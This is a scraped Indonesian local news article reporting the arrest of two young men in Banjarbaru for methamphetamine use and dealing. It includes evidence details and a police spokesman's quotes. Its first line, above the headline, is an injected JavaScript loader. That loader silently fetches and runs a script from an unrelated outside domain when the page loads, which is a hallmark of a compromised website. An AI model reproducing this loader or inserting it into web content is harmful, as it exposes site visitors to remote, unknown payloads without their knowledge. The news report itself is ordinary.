(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Satu Malam, Polsek Cempaka Tangkap Dua Pemuda Gegara Sabu


KANALKALIMANTAN.COM, BANJARBARU – Dalam satu malam Unit Reskrim Polsek Cempaka berhasil mengamankan dua orang pemakai dan pengedar sabu di Kota Banjarbaru.

Pada Jumat (14/1/2022) Unit Reskrim Polsek Cempaka berhasil mengamankan HR dan RI yang melakukan pidana peredaran gelap dan penyalahgunaan Narkotika jenis sabu.

Kasi Humas Polres Banjarbaru AKP Tajudin Noor mengatakan, penangkapan dua pelaku merupakan hasil dari kerjasama kepolisian bersama masyarakat yang sudah memberikan informasi di tempat adanya tindak pidana peredaran gelap dan penyalahgunaan Narkotika.

“Kami mendapatkan informasi dari masyarakat, kemudian ditindaklanjuti oleh Unit Reskrim Polsek Cempaka,” ujarnya, kepada kanalkalimantan.com Sabtu (15/1/2022).

 

 

Baca juga: Apa Itu NFT, Sumber Cuan Baru Bisnis Kekinian

Berdasarkan tindaklanjut tersebut berhasil mengamankan pelaku HR di kediamannya Jalan Transpol Sungai Tiung RT 033/011 Kelurahan Sungai Tiung, Kecamatan Cempaka Kota Banjarbaru sekitar pukul 20.00 Wita.

Dari tangan HR polisi berhasil mengamankan barang bukti berupa satu paket Narkotika jenis Sabu-sabu dgn berat kotor 0,21 gram dgn berat bersih 0,03 gram, dua buah plastik klip bening, satu buah pipet kaca bening yang berisikan Narkotika jenis sabu, satu buah alat hisap atau bong yang terbuat dari botol minum mineral, dua buah sedotan plastik, tiga buah pemantik api, satu buah handphone warna merah.

Dua pelaku penyalgunaan narkoba jenis sabu yang ditangkap anggota Polsek Cempaka. Foto: humaspolresbjb

“Dari hasil pengembangan, pelaku memberikan keterangan kepada pelaku kedua yakni RI,” tambahnya.

Dari pengembangan tersebut polisi berhasil mengamankan RI, yang diduga seorang pengedar barang haram tersebut.

Baca juga: Ulah Cucu, Dari Hilang BKPB, Nenek Ellen Terusir dari Rumah Sendiri

Dari tangan RI, kepolisian berhasil mengamankan barang bukti berupa satu buah Handphone merk Xiaomi Poco M3 warna biru, uang tunai sebesar 39 ribu rupiah.

“Barang bukti berupa uang merupakan sisa hasil penjualan sabu” tuturnya.

Kedua pelaku akan diganjar Pasal 114 Ayat (1) Sub Pasal 112 Ayat (1) UU RI No. 35 Tahun 2009 tentang Narkotika.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: bie


Risa

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

2 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

5 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

5 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

9 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

10 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

11 jam ago

This website uses cookies.